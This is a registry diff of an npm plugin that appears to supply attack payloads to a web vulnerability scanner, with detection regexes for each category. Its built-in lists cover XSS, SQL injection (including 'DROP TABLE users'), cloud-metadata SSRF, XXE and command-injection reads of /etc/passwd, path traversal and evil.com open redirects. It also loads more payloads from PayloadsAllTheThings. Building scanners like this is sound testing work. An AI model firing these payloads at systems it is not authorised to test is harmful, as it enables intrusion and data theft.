@vulcn/plugin-payloads 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs +611 -0
- package/dist/index.cjs.map +1 -0
- package/dist/index.d.cts +110 -0
- package/dist/index.d.ts +110 -0
- package/dist/index.js +572 -0
- package/dist/index.js.map +1 -0
- package/package.json +56 -0
package/dist/index.js
ADDED
|
@@ -0,0 +1,572 @@
|
|
|
1
|
+
// src/index.ts
|
|
2
|
+
import { z as z2 } from "zod";
|
|
3
|
+
|
|
4
|
+
// src/builtin.ts
|
|
5
|
+
var BUILTIN_PAYLOADS = {
|
|
6
|
+
// XSS Payloads
|
|
7
|
+
"xss-basic": {
|
|
8
|
+
name: "xss-basic",
|
|
9
|
+
category: "xss",
|
|
10
|
+
description: "Basic XSS payloads with script tags and event handlers",
|
|
11
|
+
source: "builtin",
|
|
12
|
+
payloads: [
|
|
13
|
+
'<script>alert("XSS")</script>',
|
|
14
|
+
'<img src=x onerror=alert("XSS")>',
|
|
15
|
+
'"><script>alert("XSS")</script>',
|
|
16
|
+
"javascript:alert('XSS')",
|
|
17
|
+
'<svg onload=alert("XSS")>'
|
|
18
|
+
],
|
|
19
|
+
detectPatterns: [
|
|
20
|
+
/<script[^>]*>alert\(/i,
|
|
21
|
+
/onerror\s*=\s*alert\(/i,
|
|
22
|
+
/onload\s*=\s*alert\(/i,
|
|
23
|
+
/javascript:alert\(/i
|
|
24
|
+
]
|
|
25
|
+
},
|
|
26
|
+
"xss-event": {
|
|
27
|
+
name: "xss-event",
|
|
28
|
+
category: "xss",
|
|
29
|
+
description: "XSS via event handlers",
|
|
30
|
+
source: "builtin",
|
|
31
|
+
payloads: [
|
|
32
|
+
'" onfocus="alert(1)" autofocus="',
|
|
33
|
+
"' onmouseover='alert(1)'",
|
|
34
|
+
'<body onload=alert("XSS")>',
|
|
35
|
+
"<input onfocus=alert(1) autofocus>",
|
|
36
|
+
"<marquee onstart=alert(1)>",
|
|
37
|
+
"<video src=x onerror=alert(1)>",
|
|
38
|
+
"<audio src=x onerror=alert(1)>"
|
|
39
|
+
],
|
|
40
|
+
detectPatterns: [
|
|
41
|
+
/onfocus\s*=\s*["']?alert/i,
|
|
42
|
+
/onmouseover\s*=\s*["']?alert/i,
|
|
43
|
+
/onload\s*=\s*["']?alert/i,
|
|
44
|
+
/onstart\s*=\s*["']?alert/i,
|
|
45
|
+
/onerror\s*=\s*["']?alert/i
|
|
46
|
+
]
|
|
47
|
+
},
|
|
48
|
+
"xss-svg": {
|
|
49
|
+
name: "xss-svg",
|
|
50
|
+
category: "xss",
|
|
51
|
+
description: "XSS via SVG elements",
|
|
52
|
+
source: "builtin",
|
|
53
|
+
payloads: [
|
|
54
|
+
'<svg/onload=alert("XSS")>',
|
|
55
|
+
"<svg><script>alert(1)</script></svg>",
|
|
56
|
+
"<svg><animate onbegin=alert(1)>",
|
|
57
|
+
"<svg><set onbegin=alert(1)>",
|
|
58
|
+
'<svg><foreignObject><iframe srcdoc="<script>alert(1)</script>">'
|
|
59
|
+
],
|
|
60
|
+
detectPatterns: [
|
|
61
|
+
/<svg[^>]*onload\s*=/i,
|
|
62
|
+
/<svg[^>]*>.*<script>/i,
|
|
63
|
+
/onbegin\s*=\s*alert/i
|
|
64
|
+
]
|
|
65
|
+
},
|
|
66
|
+
"xss-polyglot": {
|
|
67
|
+
name: "xss-polyglot",
|
|
68
|
+
category: "xss",
|
|
69
|
+
description: "XSS polyglot payloads that work in multiple contexts",
|
|
70
|
+
source: "builtin",
|
|
71
|
+
payloads: [
|
|
72
|
+
"jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
|
|
73
|
+
`'"-->]]>*/</script><script>alert(1)</script>`,
|
|
74
|
+
"<img src=x:x onerror=alert(1)//",
|
|
75
|
+
"'-alert(1)-'",
|
|
76
|
+
'"><img src=x onerror=alert(1)>'
|
|
77
|
+
],
|
|
78
|
+
detectPatterns: [/alert\s*\(\s*\d*\s*\)/i, /<script>/i, /onerror\s*=/i]
|
|
79
|
+
},
|
|
80
|
+
// SQL Injection Payloads
|
|
81
|
+
"sqli-basic": {
|
|
82
|
+
name: "sqli-basic",
|
|
83
|
+
category: "sqli",
|
|
84
|
+
description: "Basic SQL injection payloads",
|
|
85
|
+
source: "builtin",
|
|
86
|
+
payloads: [
|
|
87
|
+
"' OR '1'='1",
|
|
88
|
+
"' OR '1'='1' --",
|
|
89
|
+
"1' OR '1'='1",
|
|
90
|
+
"admin'--",
|
|
91
|
+
"' UNION SELECT NULL--",
|
|
92
|
+
"1; DROP TABLE users--"
|
|
93
|
+
],
|
|
94
|
+
detectPatterns: [
|
|
95
|
+
/sql.*syntax/i,
|
|
96
|
+
/mysql.*error/i,
|
|
97
|
+
/ORA-\d{5}/i,
|
|
98
|
+
/pg_query/i,
|
|
99
|
+
/sqlite.*error/i,
|
|
100
|
+
/unclosed.*quotation/i
|
|
101
|
+
]
|
|
102
|
+
},
|
|
103
|
+
"sqli-error": {
|
|
104
|
+
name: "sqli-error",
|
|
105
|
+
category: "sqli",
|
|
106
|
+
description: "SQL injection payloads to trigger errors",
|
|
107
|
+
source: "builtin",
|
|
108
|
+
payloads: [
|
|
109
|
+
"'",
|
|
110
|
+
"''",
|
|
111
|
+
"`",
|
|
112
|
+
'"',
|
|
113
|
+
"')",
|
|
114
|
+
`'"`,
|
|
115
|
+
"1' AND '1'='2",
|
|
116
|
+
"1 AND 1=2",
|
|
117
|
+
"1'1",
|
|
118
|
+
"1 exec sp_"
|
|
119
|
+
],
|
|
120
|
+
detectPatterns: [
|
|
121
|
+
/sql.*syntax/i,
|
|
122
|
+
/mysql.*error/i,
|
|
123
|
+
/ORA-\d{5}/i,
|
|
124
|
+
/postgresql.*error/i,
|
|
125
|
+
/sqlite.*error/i,
|
|
126
|
+
/quoted.*string.*properly.*terminated/i,
|
|
127
|
+
/ODBC.*Driver/i,
|
|
128
|
+
/Microsoft.*ODBC/i
|
|
129
|
+
]
|
|
130
|
+
},
|
|
131
|
+
"sqli-blind": {
|
|
132
|
+
name: "sqli-blind",
|
|
133
|
+
category: "sqli",
|
|
134
|
+
description: "Blind SQL injection payloads (timing-based)",
|
|
135
|
+
source: "builtin",
|
|
136
|
+
payloads: [
|
|
137
|
+
"1' AND SLEEP(5)--",
|
|
138
|
+
"1; WAITFOR DELAY '0:0:5'--",
|
|
139
|
+
"1' AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
|
|
140
|
+
"1' AND (SELECT SUBSTRING(@@version,1,1))='5'--",
|
|
141
|
+
"1 AND SLEEP(5)"
|
|
142
|
+
],
|
|
143
|
+
detectPatterns: [
|
|
144
|
+
// Blind SQLi is detected by timing, not content patterns
|
|
145
|
+
]
|
|
146
|
+
},
|
|
147
|
+
"sqli-union": {
|
|
148
|
+
name: "sqli-union",
|
|
149
|
+
category: "sqli",
|
|
150
|
+
description: "UNION-based SQL injection payloads",
|
|
151
|
+
source: "builtin",
|
|
152
|
+
payloads: [
|
|
153
|
+
"' UNION SELECT NULL--",
|
|
154
|
+
"' UNION SELECT NULL,NULL--",
|
|
155
|
+
"' UNION SELECT NULL,NULL,NULL--",
|
|
156
|
+
"' UNION SELECT 1,2,3--",
|
|
157
|
+
"' UNION SELECT username,password FROM users--",
|
|
158
|
+
"1 UNION SELECT ALL FROM information_schema.tables--"
|
|
159
|
+
],
|
|
160
|
+
detectPatterns: [
|
|
161
|
+
/sql.*syntax/i,
|
|
162
|
+
/column.*count/i,
|
|
163
|
+
/different.*number.*columns/i
|
|
164
|
+
]
|
|
165
|
+
},
|
|
166
|
+
// SSRF Payloads
|
|
167
|
+
"ssrf-basic": {
|
|
168
|
+
name: "ssrf-basic",
|
|
169
|
+
category: "ssrf",
|
|
170
|
+
description: "Server-Side Request Forgery payloads",
|
|
171
|
+
source: "builtin",
|
|
172
|
+
payloads: [
|
|
173
|
+
"http://localhost",
|
|
174
|
+
"http://127.0.0.1",
|
|
175
|
+
"http://[::1]",
|
|
176
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
177
|
+
"http://metadata.google.internal/",
|
|
178
|
+
"http://0.0.0.0",
|
|
179
|
+
"file:///etc/passwd",
|
|
180
|
+
"dict://localhost:11211/",
|
|
181
|
+
"gopher://localhost:25/_HELO"
|
|
182
|
+
],
|
|
183
|
+
detectPatterns: [
|
|
184
|
+
/root:.*:0:0/i,
|
|
185
|
+
// /etc/passwd content
|
|
186
|
+
/ami-id/i,
|
|
187
|
+
// AWS metadata
|
|
188
|
+
/instance-id/i,
|
|
189
|
+
/\{"Code"\s*:/i
|
|
190
|
+
// Cloud metadata JSON
|
|
191
|
+
]
|
|
192
|
+
},
|
|
193
|
+
// XXE Payloads
|
|
194
|
+
"xxe-basic": {
|
|
195
|
+
name: "xxe-basic",
|
|
196
|
+
category: "xxe",
|
|
197
|
+
description: "XML External Entity injection payloads",
|
|
198
|
+
source: "builtin",
|
|
199
|
+
payloads: [
|
|
200
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
|
201
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost">]><foo>&xxe;</foo>',
|
|
202
|
+
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
|
|
203
|
+
'<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><data>&file;</data>'
|
|
204
|
+
],
|
|
205
|
+
detectPatterns: [
|
|
206
|
+
/root:.*:0:0/i,
|
|
207
|
+
/\[fonts\]/i,
|
|
208
|
+
// win.ini content
|
|
209
|
+
/\[extensions\]/i
|
|
210
|
+
]
|
|
211
|
+
},
|
|
212
|
+
// Command Injection Payloads
|
|
213
|
+
"cmd-basic": {
|
|
214
|
+
name: "cmd-basic",
|
|
215
|
+
category: "command-injection",
|
|
216
|
+
description: "OS command injection payloads",
|
|
217
|
+
source: "builtin",
|
|
218
|
+
payloads: [
|
|
219
|
+
"; id",
|
|
220
|
+
"| id",
|
|
221
|
+
"& id",
|
|
222
|
+
"&& id",
|
|
223
|
+
"|| id",
|
|
224
|
+
"`id`",
|
|
225
|
+
"$(id)",
|
|
226
|
+
"; cat /etc/passwd",
|
|
227
|
+
"| cat /etc/passwd",
|
|
228
|
+
"& whoami",
|
|
229
|
+
"| whoami",
|
|
230
|
+
"; dir",
|
|
231
|
+
"| dir"
|
|
232
|
+
],
|
|
233
|
+
detectPatterns: [
|
|
234
|
+
/uid=\d+\([\w]+\)/i,
|
|
235
|
+
// Unix id command output
|
|
236
|
+
/root:.*:0:0/i,
|
|
237
|
+
/Volume Serial Number/i,
|
|
238
|
+
// Windows dir output
|
|
239
|
+
/Directory of/i
|
|
240
|
+
]
|
|
241
|
+
},
|
|
242
|
+
// Path Traversal Payloads
|
|
243
|
+
"path-traversal": {
|
|
244
|
+
name: "path-traversal",
|
|
245
|
+
category: "path-traversal",
|
|
246
|
+
description: "Directory traversal payloads",
|
|
247
|
+
source: "builtin",
|
|
248
|
+
payloads: [
|
|
249
|
+
"../../../etc/passwd",
|
|
250
|
+
"..\\..\\..\\windows\\win.ini",
|
|
251
|
+
"....//....//....//etc/passwd",
|
|
252
|
+
"..%2f..%2f..%2fetc/passwd",
|
|
253
|
+
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
|
|
254
|
+
"..%252f..%252f..%252fetc/passwd",
|
|
255
|
+
"/etc/passwd",
|
|
256
|
+
"C:\\Windows\\win.ini"
|
|
257
|
+
],
|
|
258
|
+
detectPatterns: [/root:.*:0:0/i, /\[fonts\]/i, /\[extensions\]/i]
|
|
259
|
+
},
|
|
260
|
+
// Open Redirect Payloads
|
|
261
|
+
"open-redirect": {
|
|
262
|
+
name: "open-redirect",
|
|
263
|
+
category: "open-redirect",
|
|
264
|
+
description: "Open redirect payloads for phishing",
|
|
265
|
+
source: "builtin",
|
|
266
|
+
payloads: [
|
|
267
|
+
"//evil.com",
|
|
268
|
+
"https://evil.com",
|
|
269
|
+
"/\\evil.com",
|
|
270
|
+
"//evil.com/%2f..",
|
|
271
|
+
"////evil.com",
|
|
272
|
+
"https:evil.com",
|
|
273
|
+
"//evil%E3%80%82com",
|
|
274
|
+
"javascript:alert(document.domain)"
|
|
275
|
+
],
|
|
276
|
+
detectPatterns: [
|
|
277
|
+
// Open redirects are detected by observing the redirect behavior
|
|
278
|
+
]
|
|
279
|
+
}
|
|
280
|
+
};
|
|
281
|
+
|
|
282
|
+
// src/loaders/payloadbox.ts
|
|
283
|
+
var PAYLOADBOX_URLS = {
|
|
284
|
+
xss: "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XSS%20Injection/Intruders/IntrudersXSS.txt",
|
|
285
|
+
"sql-injection": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/SQL%20Injection/Intruder/Auth_Bypass.txt",
|
|
286
|
+
xxe: "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XXE%20Injection/Intruders/xxe_payloads.txt",
|
|
287
|
+
"command-injection": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Command%20Injection/Intruder/command_exec.txt",
|
|
288
|
+
"open-redirect": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Open%20Redirect/Intruder/Open-Redirect-payloads.txt",
|
|
289
|
+
"path-traversal": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Directory%20Traversal/Intruder/traversals-8-deep-exotic-encoding.txt"
|
|
290
|
+
};
|
|
291
|
+
var CATEGORY_MAP = {
|
|
292
|
+
xss: "xss",
|
|
293
|
+
"sql-injection": "sqli",
|
|
294
|
+
xxe: "xxe",
|
|
295
|
+
"command-injection": "command-injection",
|
|
296
|
+
"open-redirect": "open-redirect",
|
|
297
|
+
"path-traversal": "path-traversal"
|
|
298
|
+
};
|
|
299
|
+
var cache = /* @__PURE__ */ new Map();
|
|
300
|
+
function getPayloadBoxTypes() {
|
|
301
|
+
return Object.keys(PAYLOADBOX_URLS);
|
|
302
|
+
}
|
|
303
|
+
function isPayloadBoxType(type) {
|
|
304
|
+
return type in PAYLOADBOX_URLS;
|
|
305
|
+
}
|
|
306
|
+
async function loadPayloadBox(type, limit = 50, fetchFn = globalThis.fetch) {
|
|
307
|
+
if (!isPayloadBoxType(type)) {
|
|
308
|
+
throw new Error(
|
|
309
|
+
`Unknown PayloadBox type: ${type}. Available: ${getPayloadBoxTypes().join(", ")}`
|
|
310
|
+
);
|
|
311
|
+
}
|
|
312
|
+
const cached = cache.get(type);
|
|
313
|
+
if (cached) {
|
|
314
|
+
return cached;
|
|
315
|
+
}
|
|
316
|
+
const url = PAYLOADBOX_URLS[type];
|
|
317
|
+
try {
|
|
318
|
+
const response = await fetchFn(url);
|
|
319
|
+
if (!response.ok) {
|
|
320
|
+
throw new Error(
|
|
321
|
+
`Failed to fetch: ${response.status} ${response.statusText}`
|
|
322
|
+
);
|
|
323
|
+
}
|
|
324
|
+
const text = await response.text();
|
|
325
|
+
const payloads = text.split("\n").map((line) => line.trim()).filter((line) => line && !line.startsWith("#")).slice(0, limit);
|
|
326
|
+
if (payloads.length === 0) {
|
|
327
|
+
throw new Error(`No payloads found in ${type}`);
|
|
328
|
+
}
|
|
329
|
+
const payload = {
|
|
330
|
+
name: `payloadbox:${type}`,
|
|
331
|
+
category: CATEGORY_MAP[type],
|
|
332
|
+
description: `PayloadsAllTheThings ${type} - ${payloads.length} payloads`,
|
|
333
|
+
payloads,
|
|
334
|
+
detectPatterns: getDefaultPatterns(type),
|
|
335
|
+
source: "payloadbox"
|
|
336
|
+
};
|
|
337
|
+
cache.set(type, payload);
|
|
338
|
+
return payload;
|
|
339
|
+
} catch (err) {
|
|
340
|
+
throw new Error(
|
|
341
|
+
`Failed to fetch PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`
|
|
342
|
+
);
|
|
343
|
+
}
|
|
344
|
+
}
|
|
345
|
+
function getDefaultPatterns(type) {
|
|
346
|
+
switch (type) {
|
|
347
|
+
case "xss":
|
|
348
|
+
return [
|
|
349
|
+
/<script[^>]*>alert\(/i,
|
|
350
|
+
/onerror\s*=\s*alert\(/i,
|
|
351
|
+
/onload\s*=\s*alert\(/i,
|
|
352
|
+
/javascript:alert\(/i
|
|
353
|
+
];
|
|
354
|
+
case "sql-injection":
|
|
355
|
+
return [
|
|
356
|
+
/sql.*syntax/i,
|
|
357
|
+
/mysql.*error/i,
|
|
358
|
+
/ORA-\d{5}/i,
|
|
359
|
+
/pg_query/i,
|
|
360
|
+
/sqlite.*error/i
|
|
361
|
+
];
|
|
362
|
+
case "xxe":
|
|
363
|
+
return [/root:.*:0:0/i, /\[fonts\]/i];
|
|
364
|
+
case "command-injection":
|
|
365
|
+
return [/uid=\d+\([\w]+\)/i, /root:.*:0:0/i];
|
|
366
|
+
case "open-redirect":
|
|
367
|
+
return [];
|
|
368
|
+
// Detected by redirect behavior
|
|
369
|
+
case "path-traversal":
|
|
370
|
+
return [/root:.*:0:0/i, /\[fonts\]/i, /\[extensions\]/i];
|
|
371
|
+
default:
|
|
372
|
+
return [];
|
|
373
|
+
}
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
// src/loaders/file.ts
|
|
377
|
+
import { readFile } from "fs/promises";
|
|
378
|
+
import { resolve, isAbsolute, extname } from "path";
|
|
379
|
+
import YAML from "yaml";
|
|
380
|
+
import { z } from "zod";
|
|
381
|
+
var PAYLOAD_CATEGORIES = [
|
|
382
|
+
"xss",
|
|
383
|
+
"sqli",
|
|
384
|
+
"ssrf",
|
|
385
|
+
"xxe",
|
|
386
|
+
"command-injection",
|
|
387
|
+
"path-traversal",
|
|
388
|
+
"open-redirect",
|
|
389
|
+
"custom"
|
|
390
|
+
];
|
|
391
|
+
var CustomPayloadSchema = z.object({
|
|
392
|
+
name: z.string().min(1),
|
|
393
|
+
category: z.enum(
|
|
394
|
+
PAYLOAD_CATEGORIES
|
|
395
|
+
),
|
|
396
|
+
description: z.string().optional(),
|
|
397
|
+
payloads: z.array(z.string()).min(1),
|
|
398
|
+
detectPatterns: z.array(z.string()).optional()
|
|
399
|
+
});
|
|
400
|
+
var PayloadFileSchema = z.object({
|
|
401
|
+
version: z.string().optional(),
|
|
402
|
+
payloads: z.array(CustomPayloadSchema)
|
|
403
|
+
});
|
|
404
|
+
async function loadFromFiles(filePaths) {
|
|
405
|
+
const payloads = [];
|
|
406
|
+
for (const filePath of filePaths) {
|
|
407
|
+
const loaded = await loadFromFile(filePath);
|
|
408
|
+
payloads.push(...loaded);
|
|
409
|
+
}
|
|
410
|
+
return payloads;
|
|
411
|
+
}
|
|
412
|
+
async function loadFromFile(filePath) {
|
|
413
|
+
const resolved = isAbsolute(filePath) ? filePath : resolve(process.cwd(), filePath);
|
|
414
|
+
const content = await readFile(resolved, "utf-8");
|
|
415
|
+
const ext = extname(resolved).toLowerCase();
|
|
416
|
+
let data;
|
|
417
|
+
if (ext === ".json") {
|
|
418
|
+
data = JSON.parse(content);
|
|
419
|
+
} else if (ext === ".yml" || ext === ".yaml") {
|
|
420
|
+
data = YAML.parse(content);
|
|
421
|
+
} else {
|
|
422
|
+
throw new Error(
|
|
423
|
+
`Unsupported file extension: ${ext}. Use .yml, .yaml, or .json`
|
|
424
|
+
);
|
|
425
|
+
}
|
|
426
|
+
return parsePayloadData(data);
|
|
427
|
+
}
|
|
428
|
+
function parsePayloadData(data) {
|
|
429
|
+
const dataObj = data;
|
|
430
|
+
let parsed;
|
|
431
|
+
if (Array.isArray(data)) {
|
|
432
|
+
parsed = { version: "1", payloads: data };
|
|
433
|
+
} else if (dataObj?.name && dataObj?.category) {
|
|
434
|
+
parsed = { version: "1", payloads: [CustomPayloadSchema.parse(data)] };
|
|
435
|
+
} else if (dataObj?.payloads && Array.isArray(dataObj.payloads)) {
|
|
436
|
+
parsed = PayloadFileSchema.parse(data);
|
|
437
|
+
} else {
|
|
438
|
+
throw new Error(
|
|
439
|
+
"Invalid payload file format. Expected: array of payloads, file schema, or single payload object"
|
|
440
|
+
);
|
|
441
|
+
}
|
|
442
|
+
return parsed.payloads.map(
|
|
443
|
+
(p) => ({
|
|
444
|
+
name: p.name,
|
|
445
|
+
category: p.category,
|
|
446
|
+
description: p.description || `Custom payload: ${p.name}`,
|
|
447
|
+
payloads: p.payloads,
|
|
448
|
+
detectPatterns: parseDetectPatterns(p.detectPatterns),
|
|
449
|
+
source: "custom"
|
|
450
|
+
})
|
|
451
|
+
);
|
|
452
|
+
}
|
|
453
|
+
function parseDetectPatterns(patterns) {
|
|
454
|
+
if (!patterns || patterns.length === 0) {
|
|
455
|
+
return [];
|
|
456
|
+
}
|
|
457
|
+
const regexps = [];
|
|
458
|
+
for (const pattern of patterns) {
|
|
459
|
+
try {
|
|
460
|
+
regexps.push(new RegExp(pattern, "i"));
|
|
461
|
+
} catch {
|
|
462
|
+
console.warn(`Invalid regex pattern: ${pattern}`);
|
|
463
|
+
}
|
|
464
|
+
}
|
|
465
|
+
return regexps;
|
|
466
|
+
}
|
|
467
|
+
|
|
468
|
+
// src/index.ts
|
|
469
|
+
var configSchema = z2.object({
|
|
470
|
+
/**
|
|
471
|
+
* Include built-in payloads (default: true)
|
|
472
|
+
*/
|
|
473
|
+
builtin: z2.boolean().default(true),
|
|
474
|
+
/**
|
|
475
|
+
* Specific built-in payload names to include (if not all)
|
|
476
|
+
*/
|
|
477
|
+
include: z2.array(z2.string()).optional(),
|
|
478
|
+
/**
|
|
479
|
+
* Built-in payload names to exclude
|
|
480
|
+
*/
|
|
481
|
+
exclude: z2.array(z2.string()).optional(),
|
|
482
|
+
/**
|
|
483
|
+
* PayloadBox types to fetch from PayloadsAllTheThings
|
|
484
|
+
* e.g., ["xss", "sql-injection", "xxe"]
|
|
485
|
+
*/
|
|
486
|
+
payloadbox: z2.array(z2.string()).optional(),
|
|
487
|
+
/**
|
|
488
|
+
* Limit per PayloadBox type
|
|
489
|
+
*/
|
|
490
|
+
payloadboxLimit: z2.number().default(50),
|
|
491
|
+
/**
|
|
492
|
+
* Custom payload files to load (YAML/JSON)
|
|
493
|
+
*/
|
|
494
|
+
files: z2.array(z2.string()).optional()
|
|
495
|
+
});
|
|
496
|
+
var plugin = {
|
|
497
|
+
name: "@vulcn/plugin-payloads",
|
|
498
|
+
version: "0.2.0",
|
|
499
|
+
apiVersion: 1,
|
|
500
|
+
description: "Official payload loader plugin - built-in, PayloadBox, and custom files",
|
|
501
|
+
configSchema,
|
|
502
|
+
hooks: {
|
|
503
|
+
onInit: async (ctx) => {
|
|
504
|
+
const config = configSchema.parse(ctx.config);
|
|
505
|
+
const loadedPayloads = [];
|
|
506
|
+
if (config.builtin) {
|
|
507
|
+
let builtinNames = Object.keys(BUILTIN_PAYLOADS);
|
|
508
|
+
if (config.include?.length) {
|
|
509
|
+
builtinNames = builtinNames.filter(
|
|
510
|
+
(name) => config.include.includes(name)
|
|
511
|
+
);
|
|
512
|
+
}
|
|
513
|
+
if (config.exclude?.length) {
|
|
514
|
+
builtinNames = builtinNames.filter(
|
|
515
|
+
(name) => !config.exclude.includes(name)
|
|
516
|
+
);
|
|
517
|
+
}
|
|
518
|
+
for (const name of builtinNames) {
|
|
519
|
+
const payload = BUILTIN_PAYLOADS[name];
|
|
520
|
+
if (payload) {
|
|
521
|
+
loadedPayloads.push(payload);
|
|
522
|
+
}
|
|
523
|
+
}
|
|
524
|
+
ctx.logger.debug(`Loaded ${builtinNames.length} built-in payload sets`);
|
|
525
|
+
}
|
|
526
|
+
if (config.payloadbox?.length) {
|
|
527
|
+
for (const type of config.payloadbox) {
|
|
528
|
+
try {
|
|
529
|
+
const payload = await loadPayloadBox(
|
|
530
|
+
type,
|
|
531
|
+
config.payloadboxLimit,
|
|
532
|
+
ctx.fetch
|
|
533
|
+
);
|
|
534
|
+
loadedPayloads.push(payload);
|
|
535
|
+
ctx.logger.debug(`Loaded PayloadBox: ${type}`);
|
|
536
|
+
} catch (err) {
|
|
537
|
+
ctx.logger.error(
|
|
538
|
+
`Failed to load PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`
|
|
539
|
+
);
|
|
540
|
+
}
|
|
541
|
+
}
|
|
542
|
+
}
|
|
543
|
+
if (config.files?.length) {
|
|
544
|
+
try {
|
|
545
|
+
const filePayloads = await loadFromFiles(config.files);
|
|
546
|
+
loadedPayloads.push(...filePayloads);
|
|
547
|
+
ctx.logger.debug(
|
|
548
|
+
`Loaded ${filePayloads.length} payload sets from files`
|
|
549
|
+
);
|
|
550
|
+
} catch (err) {
|
|
551
|
+
ctx.logger.error(
|
|
552
|
+
`Failed to load custom files: ${err instanceof Error ? err.message : String(err)}`
|
|
553
|
+
);
|
|
554
|
+
}
|
|
555
|
+
}
|
|
556
|
+
ctx.payloads.push(...loadedPayloads);
|
|
557
|
+
ctx.logger.info(
|
|
558
|
+
`Payloads plugin loaded ${loadedPayloads.length} payload sets`
|
|
559
|
+
);
|
|
560
|
+
}
|
|
561
|
+
}
|
|
562
|
+
};
|
|
563
|
+
var index_default = plugin;
|
|
564
|
+
export {
|
|
565
|
+
BUILTIN_PAYLOADS,
|
|
566
|
+
index_default as default,
|
|
567
|
+
getPayloadBoxTypes,
|
|
568
|
+
loadFromFile,
|
|
569
|
+
loadFromFiles,
|
|
570
|
+
loadPayloadBox
|
|
571
|
+
};
|
|
572
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/index.ts","../src/builtin.ts","../src/loaders/payloadbox.ts","../src/loaders/file.ts"],"sourcesContent":["/**\n * @vulcn/plugin-payloads\n * Official payload loader plugin for Vulcn\n *\n * Provides:\n * - Built-in payloads (XSS, SQLi, SSRF, XXE, etc.)\n * - PayloadBox loader (PayloadsAllTheThings)\n * - Custom file loader (YAML/JSON)\n */\n\nimport { z } from \"zod\";\nimport type { VulcnPlugin, PluginContext, RuntimePayload } from \"@vulcn/engine\";\nimport { BUILTIN_PAYLOADS } from \"./builtin\";\nimport { loadPayloadBox } from \"./loaders/payloadbox\";\nimport { loadFromFiles } from \"./loaders/file\";\n\n/**\n * Plugin configuration schema\n */\nconst configSchema = z.object({\n /**\n * Include built-in payloads (default: true)\n */\n builtin: z.boolean().default(true),\n\n /**\n * Specific built-in payload names to include (if not all)\n */\n include: z.array(z.string()).optional(),\n\n /**\n * Built-in payload names to exclude\n */\n exclude: z.array(z.string()).optional(),\n\n /**\n * PayloadBox types to fetch from PayloadsAllTheThings\n * e.g., [\"xss\", \"sql-injection\", \"xxe\"]\n */\n payloadbox: z.array(z.string()).optional(),\n\n /**\n * Limit per PayloadBox type\n */\n payloadboxLimit: z.number().default(50),\n\n /**\n * Custom payload files to load (YAML/JSON)\n */\n files: z.array(z.string()).optional(),\n});\n\nexport type PayloadsPluginConfig = z.infer<typeof configSchema>;\n\n/**\n * Payloads Plugin - loads payloads from various sources\n */\nconst plugin: VulcnPlugin = {\n name: \"@vulcn/plugin-payloads\",\n version: \"0.2.0\",\n apiVersion: 1,\n description:\n \"Official payload loader plugin - built-in, PayloadBox, and custom files\",\n\n configSchema,\n\n hooks: {\n onInit: async (ctx: PluginContext) => {\n const config = configSchema.parse(ctx.config);\n const loadedPayloads: RuntimePayload[] = [];\n\n // 1. Load built-in payloads\n if (config.builtin) {\n let builtinNames = Object.keys(BUILTIN_PAYLOADS);\n\n // Filter by include list if provided\n if (config.include?.length) {\n builtinNames = builtinNames.filter((name) =>\n config.include!.includes(name),\n );\n }\n\n // Remove excluded payloads\n if (config.exclude?.length) {\n builtinNames = builtinNames.filter(\n (name) => !config.exclude!.includes(name),\n );\n }\n\n for (const name of builtinNames) {\n const payload = BUILTIN_PAYLOADS[name];\n if (payload) {\n loadedPayloads.push(payload);\n }\n }\n\n ctx.logger.debug(`Loaded ${builtinNames.length} built-in payload sets`);\n }\n\n // 2. Load from PayloadBox\n if (config.payloadbox?.length) {\n for (const type of config.payloadbox) {\n try {\n const payload = await loadPayloadBox(\n type,\n config.payloadboxLimit,\n ctx.fetch,\n );\n loadedPayloads.push(payload);\n ctx.logger.debug(`Loaded PayloadBox: ${type}`);\n } catch (err) {\n ctx.logger.error(\n `Failed to load PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`,\n );\n }\n }\n }\n\n // 3. Load from custom files\n if (config.files?.length) {\n try {\n const filePayloads = await loadFromFiles(config.files);\n loadedPayloads.push(...filePayloads);\n ctx.logger.debug(\n `Loaded ${filePayloads.length} payload sets from files`,\n );\n } catch (err) {\n ctx.logger.error(\n `Failed to load custom files: ${err instanceof Error ? err.message : String(err)}`,\n );\n }\n }\n\n // Add to shared context\n ctx.payloads.push(...loadedPayloads);\n\n ctx.logger.info(\n `Payloads plugin loaded ${loadedPayloads.length} payload sets`,\n );\n },\n },\n};\n\nexport default plugin;\n\n// Re-export for direct access\nexport { BUILTIN_PAYLOADS } from \"./builtin\";\nexport { loadPayloadBox, getPayloadBoxTypes } from \"./loaders/payloadbox\";\nexport { loadFromFiles, loadFromFile } from \"./loaders/file\";\n","/**\n * Built-in security payloads\n * Curated, tested, fast defaults for common vulnerability categories\n */\n\nimport type { RuntimePayload, PayloadCategory } from \"@vulcn/engine\";\n\n/**\n * Built-in payloads - curated, tested, fast defaults\n */\nexport const BUILTIN_PAYLOADS: Record<string, RuntimePayload> = 